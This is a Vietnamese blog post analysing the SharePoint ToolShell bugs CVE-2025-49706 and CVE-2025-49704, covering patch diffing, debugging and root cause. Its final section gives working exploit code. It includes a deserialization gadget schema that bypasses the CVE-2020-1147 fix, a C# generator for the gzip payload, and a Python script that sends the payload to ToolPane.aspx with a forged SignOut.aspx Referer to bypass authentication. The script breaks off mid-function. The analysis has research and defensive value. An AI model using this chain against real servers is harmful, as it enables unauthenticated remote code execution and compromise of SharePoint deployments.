Skip to main content

Command Palette

Search for a command to run...

Phân tích Bug toolshell-Pwn2own

Updated
16 min read
N

Lofi Chill In My Veins

Tản mạn chút:

Sau 2 năm học Pentest web(1 năm rưỡi đi làm) mà không có gì nổi bật, mình bắt đầu gặp 1 vài vấn đề tâm lý, chán nản và không biết con đường dài hạn nào là đúng đắn; như cách nói tu tiên có lẽ là gặp bình cảnh cần phải gặp được cao nhân chỉ điểm hoặc kì ngộ riêng để đột phá. Thế rồi, thế quái nào mình rơi luôn vào trầm tư vô định, buông thả. May thay, có 2 ông anh hỏi mình đã phân tích bug Sharepoint Pwn2own 2025 đợt vừa rồi chưa. Trùng hợp là mình Poc được bug này tháng trước, nhưng lười viết lại. Cuối cùng cũng có lý do viết bài, có cái để làm cho đỡ lười, blog này sẽ nói về cách Diff source Sharepoint, Làm sao để debug và cách khai thác lỗ hổng CVE-2025-49706CVE-2025-49704.

Thật ra anh Khoadha đã giải thích rất chi tiết nên gần như đây là blog tổng hợp những thứ mình học được từ blog của anh Khoadha và anh Jang, tuy nhiên mình vẫn muốn viết lại vì đây là lần đầu mình nghịch C# cũng như lần đầu poc nday cho Sharepoint. Nếu có gì không đúng trong blog, mong được góp ý để mình hiểu đúng hơn<3.

How to Diff Sharepoint

Cảm ơn anh Jang đã giúp mình tìm hiểu và hoàn thiện script để diff source.

Tóm tắt

M$ cung cấp bản vá cho Sharepoint qua các file sts2019-kb500xxxx-fullfile-x64-glb.exe, trong file này sẽ chứa các bản vá lũy tiến cho sharepoint, do đó chúng ta chỉ cần diff các file .cs bên trong các file này.

M$ thực hiện vài thủ thuật với cs complier do đó nếu chỉ dùng dnspy thông thường, sẽ gặp rất nhiều false positive như dưới đây(hình tham khảo từ blog của anh Jang)

Ảnh từ anh Jang

Để giảm thiểu được false positive cần sửa code của ILspy 1 chút, đoạn code cần sửa sẽ như sau

diff --git a/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs b/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs
index a462ccb9f..5a6722e13 100644
--- a/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs
+++ b/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs
@@ -566,7 +566,20 @@ protected virtual void WriteMethodBody(BlockStatement body, BraceStyle style, bo

                protected virtual void WriteAttributes(IEnumerable<AttributeSection> attributes)
                {
-                       foreach (AttributeSection attr in attributes)
+                       var l = attributes.ToList();
+                       l.Sort((a, b) => {
+                               return a.ToString().CompareTo(b.ToString());
+                       });
+                       if (l.Count > 1 && l[0].Parent is ParameterDeclaration parameterDeclaration)
+                       {
+                               parameterDeclaration.Attributes.Clear();
+                               foreach (var attr in l)
+                               {
+                                       parameterDeclaration.Attributes.Add(attr);
+                               }
+                       }
+
+                       foreach (AttributeSection attr in l)
                        {
                                attr.AcceptVisitor(this);
                        }

Sau đó thực hiện build lại và dùng scirpt dưới đây để extract tự dộng

import os, re, sys, subprocess, pefile  # pip install pefile

# ========= CONFIG =========
SEVEN_ZIP = r"C:\Program Files\7-Zip\7z.exe"
ILSPY_CMD = r"C:\Users\ADMIN\Desktop\ILSpy\output\exe\ilspycmd.exe"
TIMEOUT_SECONDS = 300
ALLOWED_EXTS = {'.cs'}
DROP_ASSEMBLYINFO = True

# ========= ARG PARSE =========
if len(sys.argv) < 3:
    print("Usage: python script.py <PATCH_EXE> <OUTPUT_DIR>")
    sys.exit(1)
PATCH_EXE = os.path.abspath(sys.argv[1])
DEST_DIR  = os.path.abspath(sys.argv[2])

# ========= HELPERS =========
def log(msg): print(msg, flush=True)

def run(cmd, stage=None, check=True):
    if stage: log(f"[>] {stage}")
    log("    CMD: " + " ".join([f'"{c}"' if " " in c else c for c in cmd]))
    try:
        p = subprocess.run(cmd, check=check, capture_output=True, text=True, timeout=TIMEOUT_SECONDS)
        if p.stdout.strip(): log("    STDOUT:\n" + p.stdout.strip())
        if p.stderr.strip(): log("    STDERR:\n" + p.stderr.strip())
        return p
    except subprocess.CalledProcessError as e:
        log("    [!] FAILED")
        if e.stdout: log("    STDOUT:\n" + e.stdout)
        if e.stderr: log("    STDERR:\n" + e.stderr)
        raise
    except subprocess.TimeoutExpired:
        log("    [!] TIMEOUT"); raise

def is_dotnet_binary(path):
    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14
    pe = None
    try:
        pe = pefile.PE(path, fast_load=True)
        return pe.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0
    except Exception:
        return False
    finally:
        try:
            if pe: pe.close()
        except: pass

# <PrivateImplementationDetails>{...} -> {token_version_here}
PRIVATE_IMPL_BRACED = re.compile(r'(<PrivateImplementationDetails>\{)[^}]+(\})')

def postprocess_text(text: str) -> str:
    # 1) Xoá comment // cả dòng và cuối dòng (theo yêu cầu: dùng \s+//.* cho inline)
    text = re.sub(r'(?m)^\s*//.*$', '', text)   # full-line //...
    text = re.sub(r'\s+//.*', '', text)         # inline  ... // trailing comment

    # 2) Đổi version A.B.C.D -> A.B.C.xxxxx (ví dụ 16.0.10417.20018 -> 16.0.10417.xxxxx)
    text = re.sub(r'(\b\d+\.\d+\.\d+)\.\d+\b', r'\1.xxxxx', text)

    # 3) Chuẩn hoá PrivateImplementationDetails
    text = PRIVATE_IMPL_BRACED.sub(r'\1token_version_here\2', text)

    # Gọn whitespace
    text = re.sub(r'[ \t]+\r?\n', '\n', text)
    text = re.sub(r'(\r?\n){3,}', r'\n\n', text)
    return text

def process_cs_file(path: str) -> bool:
    try:
        with open(path, 'r', encoding='utf-8-sig', errors='ignore', newline='') as f:
            src = f.read()
        cleaned = postprocess_text(src)
        if cleaned != src:
            with open(path, 'w', encoding='utf-8', newline='') as f:
                f.write(cleaned)
        return True
    except Exception as e:
        log(f"[!] Process failed {path}: {e}"); return False

def cleanup_decompile_output(root_dir):
    removed_files = processed_cs = removed_dirs = 0
    for r, d, f in os.walk(root_dir):
        for name in f:
            fp = os.path.join(r, name)
            ext = os.path.splitext(name)[1].lower()
            if ext not in ALLOWED_EXTS:
                try: os.remove(fp); removed_files += 1
                except Exception as e: log(f"[!] Cannot remove {fp}: {e}")
                continue
            if DROP_ASSEMBLYINFO and name.lower() == 'assemblyinfo.cs':
                try: os.remove(fp); removed_files += 1
                except Exception as e: log(f"[!] Cannot remove {fp}: {e}")
                continue
            if ext == '.cs' and process_cs_file(fp): processed_cs += 1
    for r, d, f in os.walk(root_dir, topdown=False):
        for dd in d:
            dp = os.path.join(r, dd)
            try:
                if not os.listdir(dp): os.rmdir(dp); removed_dirs += 1
            except Exception as e: log(f"[!] Cannot remove dir {dp}: {e}")
    log(f"[✓] Cleanup: removed {removed_files} files, {removed_dirs} empty dirs, processed {processed_cs} .cs")

def decompile_one_assembly(dll_path, out_dir):
    os.makedirs(out_dir, exist_ok=True)
    run([ILSPY_CMD, '-p', '--nested-directories', '-o', out_dir, dll_path],
        stage=f"Decompile: {dll_path} -> {out_dir}")
    cleanup_decompile_output(out_dir)

# ========= MAIN FLOW =========
def main():
    # Kiểm tra tool / input
    if not os.path.isfile(SEVEN_ZIP): log(f"[!] 7-Zip not found: {SEVEN_ZIP}"); sys.exit(1)
    if not os.path.isfile(ILSPY_CMD): log(f"[!] ilspycmd not found: {ILSPY_CMD}"); sys.exit(1)
    if not os.path.isfile(PATCH_EXE): log(f"[!] Patch EXE not found: {PATCH_EXE}"); sys.exit(1)

    # Clean output
    if os.path.exists(DEST_DIR):
        log(f"[i] Clean output dir: {DEST_DIR}")
        for root, dirs, files in os.walk(DEST_DIR, topdown=False):
            for name in files:
                try: os.remove(os.path.join(root, name))
                except: pass
            for name in dirs:
                try: os.rmdir(os.path.join(root, name))
                except: pass
    os.makedirs(DEST_DIR, exist_ok=True)

    # Stage 1: extract MSP
    msp_path = os.path.join(DEST_DIR, "sts-x-none.msp")
    run([SEVEN_ZIP, 'x', PATCH_EXE, 'sts-x-none.msp', f'-o{DEST_DIR}', '-y', '-bd'],
        stage="[Stage 1] Extract sts-x-none.msp")
    if not os.path.isfile(msp_path): log("[-] sts-x-none.msp not found after extraction"); sys.exit(1)
    log("[+] Stage 1: OK")

    # Stage 2: extract DLLs
    dll_dir = os.path.join(DEST_DIR, "dll"); os.makedirs(dll_dir, exist_ok=True)
    log("[Stage 2] Try extracting *.dll directly from MSP")
    try: run([SEVEN_ZIP, 'x', msp_path, '*.dll', f'-o{dll_dir}', '-y', '-bd'])
    except: pass

    dll_files = [os.path.join(dll_dir, f) for f in os.listdir(dll_dir) if f.lower().endswith('.dll')]
    if len(dll_files) == 0:
        log("[Stage 2] No DLLs via direct MSP. Fallback: extract all -> find .cab -> extract *.dll")
        cab_tmp = os.path.join(DEST_DIR, "_cab_tmp"); os.makedirs(cab_tmp, exist_ok=True)
        run([SEVEN_ZIP, 'x', msp_path, f'-o{cab_tmp}', '-y', '-bd'], stage="Extract all files from MSP (fallback)")
        for root, _, files in os.walk(cab_tmp):
            for f in files:
                if f.lower().endswith('.cab') or f == 'PATCH_CAB':
                    try: run([SEVEN_ZIP, 'x', os.path.join(root, f), '*.dll', f'-o{dll_dir}', '-y', '-bd'],
                             stage=f"Extract DLLs from {os.path.join(root, f)}")
                    except: pass
        for r, d, fs in os.walk(cab_tmp, topdown=False):
            for name in fs:
                try: os.remove(os.path.join(r, name))
                except: pass
            for name in d:
                try: os.rmdir(os.path.join(r, name))
                except: pass
        try: os.rmdir(cab_tmp)
        except: pass

    dll_files = [os.path.join(dll_dir, f) for f in os.listdir(dll_dir) if f.lower().endswith('.dll')]
    log(f"[+] Stage 2: Found {len(dll_files)} DLL(s) in {dll_dir}")
    if len(dll_files) == 0: log("[-] No DLLs to process. Abort."); sys.exit(1)

    # Stage 3: filter .NET & decompile
    net_dlls = [p for p in dll_files if is_dotnet_binary(p)]
    log(f"[Stage 3] .NET DLLs detected: {len(net_dlls)}")
    if len(net_dlls) == 0: log("[-] No .NET DLLs found. Abort."); sys.exit(1)

    src_root = os.path.join(DEST_DIR, "src"); os.makedirs(src_root, exist_ok=True)
    ok = fail = 0
    for dll in net_dlls:
        out_dir = os.path.join(src_root, os.path.basename(dll))
        try: decompile_one_assembly(dll, out_dir); ok += 1
        except Exception as e: log(f"[!] Decompile failed: {dll} ({e})"); fail += 1

    log(f"[+] Stage 3: decompiled OK={ok}, failed={fail}")
    log("\n🎯 Done. Output source: " + src_root)

if __name__ == '__main__':
    main()

Sau khi extract 2 bản vá liền nhau, chúng ta chỉ việc diff chúng

How to debug Sharepoint

Sharepoint gồm các DLL nằm trong C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16 , chúng ta cần add nó vào Dnspy. Cách mình dùng là lấy ra hết dll bỏ trong 1 thư mục, sau đó add nó vào dnspy thông qua chức năng Fileopen.

Tuy nhiên như vậy là chưa đủ, nếu để ý Sharepoint còn 1 vài file dll.deploy và chúng ta không thể add vào Dnspy luôn. Các file này được sharepoint đổi tên và thêm vào thư mục GAC để nhiều ứng dụng dùng chung.

Để đầy đủ, dùng chức năng File > Open from GAC sau đó add những assembly này vào.

Cuối cùng, sau khi đã add hết assembly cần thiết, chúng ta dùng debug > attach to process chọn các process của sharepoint là có thể đặt break point và debug

Phân tích bug

CVE-2025-49706

Sau diff không quá khó để nhận ra bản vá ở đâu, chính là SPRequestModule.

Vì lần đầu phân tích sharepoint cũng như không thân thuộc C#, mình đặt ra 1 câu hỏi, làm sao tác giả biết nơi xử lý xác thực phân quyền của sharepoint để mà tập trung vào bypass. Sau khi tìm hiểu, mình nhận ra các Web Application của SharePoint Server chạy trên IIS và sử dụng pipeline của ASP.NET.

Trong ASP.NET (trên IIS), IHttpModule là một interface cho phép module đăng kí các sự kiện của HttpApplication (ví dụ: BeginRequest, AuthenticateRequest, AuthorizeRequest, EndRequest...). Nói nôm na, IHttpModule giống “người bồi bàn”: đứng giữa client (người gửi request) và khu bếp (nơi xử lý request), can thiệp vào các mốc nhất định rồi chuyển tiếp cho phần xử lý chính.

Trong Sharepoint, class SPRequestModule : IHttpModule cho biết đây sẽ là người bồn bàn đã nói.

Tác giả Khoadha tìm thấy đoạn xử lý thú vị ở sự kiện PostAuthenticateRequest; handler của sự kiện này chạy sau bước xác thực, khi HttpContext.User đã có (đăng nhập hay chưa, hay là anonymous). Trong PostAuthenticateRequest có 1 đoạn xử lý cho người dùng chưa đăng nhập như sau:

if (!context.User.Identity.IsAuthenticated)
{
    if (flag5)
    {
        if (this.RequestPathIndex == SPRequestModule.PathIndex._layouts)
        {
            Uri uri3 = null;
            try
            {
                uri3 = context.Request.UrlReferrer;
            }
            catch (UriFormatException)
            {
            }
            if (uri3 != null)
            {
                string absolutePath = uri3.AbsolutePath;
                if (SPRequestModule.s_LoginUrl == null)
                {
                    ULS.SendTraceTag(2470943U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Unexpected, "LoginUrl is unset for request to '{0}'.", new object[] { SPAlternateUrl.ContextUri });
                }
                else if (absolutePath.EndsWith(SPRequestModule.s_LoginUrl, StringComparison.OrdinalIgnoreCase) && (text4.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || text4.EndsWith(".js", StringComparison.OrdinalIgnoreCase)))
                {
                    context.SkipAuthorization = true;
                }
            }
        }
    }
    else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
    {
        if (flag3)
        {
            ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[] { SPAlternateUrl.ContextUri });
        }
        SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
    }
    else if (flag6)
    {
        HttpCookie httpCookie = context.Request.Cookies[SPSecurity.CookieWssKeepSessionAuthenticated];
        HttpCookie httpCookie2 = context.Request.Cookies[SPSecurity.CookieWssKeepAuthenticated];
        if ((httpCookie != null && SPUtility.StsCompareStrings(httpCookie.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue)) || (httpCookie2 != null && SPUtility.StsCompareStrings(httpCookie2.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue) && !flag2))
        {
            SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
        }
    }
}

Có thể thấy, nếu 3 nhánh if else này đều không phù hợp, sẽ không bị chặn gì, mà yêu cầu sẽ được đưa thẳng xuống đoạn xử lý phía sau. Nghĩa là Flag5false,flag6falseflag7true (hãy nhớ 3 chặng đường này)

Thực chất ở đây Sharepoint tạo ra đoạn code đó để người dùng mới đăng xuất có thể truy xuất tài nguyên css, js(ở nhánh if flag5). Tuy nhiên logic này có vấn đề.

bool flag6 = !flag5;
ULS.SendTraceTag(2373643U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Medium, "Value for checkAuthenticationCookie is : {0}", new object[] { flag6 });
bool flag7 = false;
string text4 = context.Request.FilePath.ToLowerInvariant();
if (flag6)
{
    Uri uri2 = null;
    try
    {
        uri2 = context.Request.UrlReferrer;
    }
    catch (UriFormatException)
    {
    }
    if (this.IsShareByLinkPage(context) || 
    this.IsAnonymousVtiBinPage(context) || 
    this.IsAnonymousDynamicRequest(context) || 
    context.Request.Path.StartsWith(this.signoutPathRoot) || 
    context.Request.Path.StartsWith(this.signoutPathPrevious) || 
    context.Request.Path.StartsWith(this.signoutPathCurrent) || 
    context.Request.Path.StartsWith(this.startPathRoot) || 
    context.Request.Path.StartsWith(this.startPathPrevious) || 
    context.Request.Path.StartsWith(this.startPathCurrent) || 
    (uri2 != null && (SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot) || 
    SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathPrevious) || 
    SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathCurrent))))
    {
        flag6 = false;
        flag7 = true;
    }
}
if (!context.User.Identity.IsAuthenticated)
{
    if (flag5)
    {
        ...
    }
    else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
    {
        ...
    }
    else if (flag6)
    {
        ....
    }
}

Hãy giả định 1 chút, ở dòng đầu tiên nếu flag5false (1/3 chặng đường)=> nhánh if if(flag6) được gọi.

Tiếp tục vào nhánh if(flag6), nếu chúng ta thỏa mãn điều kiện, giá trị của flag6 = false ,flag7 = true (3/3 chặng đường)

May mắn thay flag5false theo mặc định, do đó thứ chúng ta cần là thỏa mãn 1 trong các điều kiện, trong đó có điều kiện

SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot)

Trong đó uri2 là giá trị Referer , signoutPathRoot là đường dẫn đăng xuất

uri2 = context.Request.UrlReferrer
....
private string signoutPathRoot = "/_layouts/SignOut.aspx";

Do đó trong gói tin chúng ta chỉ cần thêm giá trị referer thỏa mãn là được

Referer: /_layouts/SignOut.aspx

CVE-2025-49704

Về lỗ hổng Deserialize, sau khi tìm hiểu, mình nhận thấy nó có liên quan tới 1 lỗ hổng được khai thác trước đó CVE-2020-1147 hay còn nói CVE-2025-49704 là bypass của CVE-2020-1147.

Nhưng trước hết chúng ta cần tìm hiểu qua về cách mà Sharepoint thực hiện filter các sink deserialize.

Đa số các sink Deserialize của Sharepoint sẽ có dạng như sau

BinaryFormatter binaryFormatter = new BinaryFormatter
{
        Binder = new BinarySerialization.LimitingBinder(extraTypes),
};
return binaryFormatter.Deserialize(stream);

LimitingBinder chính là lớp bộ lọc quyết định những type nào được phép bind trong quá trình Deserialize. Ở đây tác giả chọn những sink cho phép type Dataset, Datatable vì đây là những type có mặt trong các chain có trên ysoserial.

Trong đó có sink BinarySerialization.Deserialize

public static class BinarySerialization
{
    public static object Deserialize(Stream stream, XmlValidator validator = null, IEnumerable<Type> extraTypes = null)
    {
        validator = validator ?? XmlValidator.Default;
        BinaryFormatter binaryFormatter = new BinaryFormatter
        {
            Binder = new BinarySerialization.LimitingBinder(extraTypes),
            SurrogateSelector = new DataSetSurrogateSelector(validator)
        };
        return binaryFormatter.Deserialize(stream);
    }
    private sealed class LimitingBinder : SerializationBinder
    {
        internal LimitingBinder(IEnumerable<Type> extraTypes)
        {
            this._allowedTypeMap = new TypeMap();
            this._allowedTypeMap.Add(typeof(DataSet));
            this._allowedTypeMap.Add(typeof(DataTable));
            this._allowedTypeMap.Add(typeof(SchemaSerializationMode));
            this._allowedTypeMap.Add(typeof(Version));
            ....
        }
    }
}

Ở đây M$ triển khai fix cho CVE-2020-1147 thông qua DataSetSurrogateSelector

M$ đã vá cho cve-2020-1147 như nào???

M$ đã thực hiện kiểm tra kiểm tra hai payload XmlSchemaXmlDiffGram (nằm trong SerializationInfo), rồi mới truyền SerializationInfo đó vào serialization constructor qua ConstructorInfo.Invoke để tái tạo lại object.

M$ thực hiện kiểm tra xem các assembly name xuất hiện trong Xmlschema (lấy được từ SerializationInfo) để đảm bảo các type tham gia quá trình này nằm trong danh sách được phép. Các type này gần như an toàn, tuy nhiên hãy ghi nhớ typeof(object) .

M$ sử dụng ParseAssemblyQualifiedName để cố gắng extract Assembly-qualified name ngay sau dấu , ngay sau cặp [] cuối cùng. Sau đó, nếu Assembly-qualified name đó không phù hợp, throw exception

public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName)
{
    assemblyQualifiedName = ((assemblyQualifiedName != null) ? assemblyQualifiedName.Trim() : null);
    if (string.IsNullOrEmpty(assemblyQualifiedName))
    {
        throw new ArgumentOutOfRangeException("assemblyQualifiedName");
    }
    int num = 0;
    for (int i = 0; i < assemblyQualifiedName.Length; i++)
    {
        char c = assemblyQualifiedName[i];
        if (c != ',')
        {
            checked
            {
                switch (c)
                {
                case '[':
                    num++;
                    break;
                case ']':
                    num--;
                    break;
                }
            }
        }
        else if (num == 0)
        {
            string text = assemblyQualifiedName.Substring(0, i).Trim();
            string text2 = assemblyQualifiedName.Substring(i + 1);
            string[] array = text2.Split(new char[] { ',' });
            if (array[0].IndexOf('=') >= 0)
            {
                throw new ArgumentOutOfRangeException("assemblyQualifiedName");
            }
            for (i = 1; i < array.Length; i++)
            {
                string text3 = array[i].Trim();
                if (!text3.StartsWith("Version=", StringComparison.Ordinal) && !text3.StartsWith("Culture=", StringComparison.Ordinal) && !text3.StartsWith("PublicKeyToken=", StringComparison.Ordinal))
                {
                    throw new ArgumentOutOfRangeException("assemblyQualifiedName");
                }
            }
            return new TypeInAssembly(text, new AssemblyName(text2));
        }
    }
    if (num != 0)
    {
        throw new ArgumentOutOfRangeException("assemblyQualifiedName");
    }
    Type type;
    TypeNameParser._defaultSimpleNameMappings.TryGetValue(assemblyQualifiedName, out type);
    type = type ?? typeof(object);
    return new TypeInAssembly(type.FullName, TypeNameParser.SimplifyAssemblyName(type.Assembly.GetName()));
}

Cùng xem xét lại với Payload được dùng ở CVE-2020-1147,assembly-qualified name của System.Data.Services.Internal.ExpandedWrapperSystem.Data.Services , nó không nằm trong allow list do đó không hợp lệ, đây chính là cách mà M$ triển khai để patch CVE-2020-1147

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>

Bypass CVE-2020-1147

Tuy nhiên trước đó mình có nhắc nhở hãy ghi nhớ typeof(Object) đang nằm trong allow list phải không?

tại vì hàm ParseAssemblyQualifiedName trước đó xử lý hơi kì, nếu không lấy được assembly-qualified name, nó sẽ mặc định trả về typeof(object).

public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName)
{
    ....
    type = type ?? typeof(object);
    return new TypeInAssembly(type.FullName, TypeNameParser.SimplifyAssemblyName(type.Assembly.GetName()));
}

Từ đó, nếu chúng ta bọc Payload được dùng ở CVE-2020-1147 bằng 1 typetype đó có sẵn trong .Net framework như vậy thì sẽ không cần kèm theo assembly-qualified name => Sharepoint không lấy được assembly-qualified name => trả về typeof(object) nằm trong allow list.

Dưới đây là phần XmlSchema

<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="dataset">
    <xs:element name="dataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
        <xs:complexType>
            <xs:choice minOccurs="0" maxOccurs="unbounded">
                <xs:element name="test">
                    <xs:complexType>
                        <xs:sequence>
                            <xs:element name="pwn" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
                        </xs:sequence>
                    </xs:complexType>
                </xs:element>
            </xs:choice>
        </xs:complexType>
    </xs:element>
</xs:schema>

Phần XmlDiffGram sẽ không có gì thay đổi với CVE-2020-1147.

Sink → Source???

Chúng ta đã có được sink, vậy source từ đâu.

Sink này được kích hoạt thoong qua getter DataTable của ExcelDataset. Thuộc tính này có gắn [XmlIgnore], nên nếu (de)serialize bằng XmlSerializer thì thuộc tính sẽ bị bỏ qua và getter không được gọi.

Nếu bạn cũng chưa dùng Dnpsy bao giờ như mình thì đây là cách dùng

Ở đây tác giả đã lợi dụng TemplaterParser (tìm hiểu thêm)để gọi được getter Datatable của ExcelDataset Đúng hơn là tác giả đã tận dụng ElementDesigner với control UpdateProgress để ép TemplateParser parsing markup nằm trong template đó như sau:

<%@ Register Tagprefix="ScorecardClient" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>

<asp:UpdateProgress ID="Update" DisplayAfter="1" 
runat="server">
<ProgressTemplate>
  <div>            
    <ScorecardClient:ExcelDataSet CompressedDataTable="{GzipPayload}" DataTable-CaseSensitive="false" runat="server"/>
  </div>
</ProgressTemplate>
</asp:UpdateProgress>

DataTable-CaseSensitive="false" chính là cách để tác giả ép getter DataTable được gọi, vì trước khi ép kiểu CaseSensitive thì getter phải được gọi ra trước.

Exploit

Đầu tiên, chúng ta cần tạo GzipPayload phù hợp. bằng đoạn code cs dưới đây

using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;

[Serializable]
public class DataSetExploit : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        Console.WriteLine("[DEBUG] GetObjectData called!");

        info.SetType(typeof(System.Data.DataSet));

        string xmlSchema = File.ReadAllText("xmlschema.txt");
        info.AddValue("XmlSchema", xmlSchema);
        Console.WriteLine("[DEBUG] XmlSchema added: " + xmlSchema.Length + " chars");

        string xmlDiffGram = File.ReadAllText("XmlDiffGram.txt");
        info.AddValue("XmlDiffGram", xmlDiffGram);
        Console.WriteLine("[DEBUG] XmlDiffGram added: " + xmlDiffGram.Length + " chars");
    }

    protected DataSetExploit(SerializationInfo info, StreamingContext context) { }
    public DataSetExploit() { }
}

class Program
{
    static void Main()
    {
        Console.WriteLine("[+] Creating exploit object...");
        var exploit = new DataSetExploit();

        Console.WriteLine("[+] Serializing to create payload...");
        var formatter = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();

        using (var stream = new MemoryStream())
        {
            formatter.Serialize(stream, exploit);
            byte[] serializedData = stream.ToArray();

            Console.WriteLine("[DEBUG] Serialized data size: " + serializedData.Length + " bytes");

            if (serializedData.Length == 0)
            {
                Console.WriteLine("[ERROR] Serialized data is empty!");
                return;
            }

            byte[] compressed = GzipCompress(serializedData);
            Console.WriteLine("[DEBUG] Compressed data size: " + compressed.Length + " bytes");

            string payload = Convert.ToBase64String(compressed);
            Console.WriteLine("[DEBUG] Base64 payload length: " + payload.Length + " chars");
            Console.WriteLine("[+] Final payload: " + payload);

            File.WriteAllText("payload.txt", payload);
            Console.WriteLine("[+] Payload saved to payload.txt");
        }
    }

    static byte[] GzipCompress(byte[] data)
    {
        Console.WriteLine("[DEBUG] GzipCompress input: " + data.Length + " bytes");

        using (var output = new MemoryStream())
        {
            using (var gzip = new GZipStream(output, CompressionMode.Compress))
            {
                gzip.Write(data, 0, data.Length);
            }
            byte[] result = output.ToArray();
            Console.WriteLine("[DEBUG] GzipCompress output: " + result.Length + " bytes");
            return result;
        }
    }
}

Cuối cùng, exploit code bằng python dưới đây sẽ đọc GzipPayload trước đó và exploit

#!/usr/bin/env python3
"""
SharePoint CVE-2025-53770 Exploit
Targets: Microsoft SharePoint Server
Vulnerability: Deserialization in PerformancePoint Services
Author: NgockhanhC311
"""

import requests
import urllib3
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class SharePointExploit:
    def __init__(self, target_host, target_port=8888):
        self.target_host = target_host
        self.target_port = target_port
        self.target_url = f"http://{target_host}:{target_port}/_layouts/15/ToolPane.aspx/test.aspx?DisplayMode=Edit&foo=/ToolPane.aspx"
        with open("payload.txt", "r", encoding="utf-8") as f:
            CompressedDataTablepayload = f.read()
        self.payload = f'''<%@ Register Tagprefix="ScorecardClient" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>

<asp:UpdateProgress ID="Update" DisplayAfter="1" 
runat="server">
<ProgressTemplate>
  <div>            
    <ScorecardClient:ExcelDataSet CompressedDataTable="{CompressedDataTablepayload}" DataTable-CaseSensitive="false" runat="server"/>
  </div>
</ProgressTemplate>
</asp:UpdateProgress>'''
    def exploit(self):
        """Execute the SharePoint exploit"""

        print(f"[+] Target: {self.target_url}")
        print("[+] Preparing exploit payload...")
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept": "*/*",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Connection": "keep-alive",
            "Referer": "/_layouts/SignOut.aspx"
        }
        data = {
            "MSOTlPn_Uri": f"http://{self.target_host}:{self.target_port}/_controltemplates/15/AclEditor.ascx",
            "MSOTlPn_DWP": self.payload
        }

        try:
            print("[+] Sending exploit...")
            response = requests.post(
                self.target_url, 
                headers=headers, 
                data=data, 
                timeout=10,
                verify=False
            )

            print(f"[+] Response Status: {response.status_code}")
            print(f"[+] Response Length: {len(response.text)} chars: {response.text}")

            if response.status_code == 200:
                print("[+] Exploit sent successfully!")
                if "error" not in response.text.lower():
                    print("[+] No errors detected - exploit likely successful!")
                else:
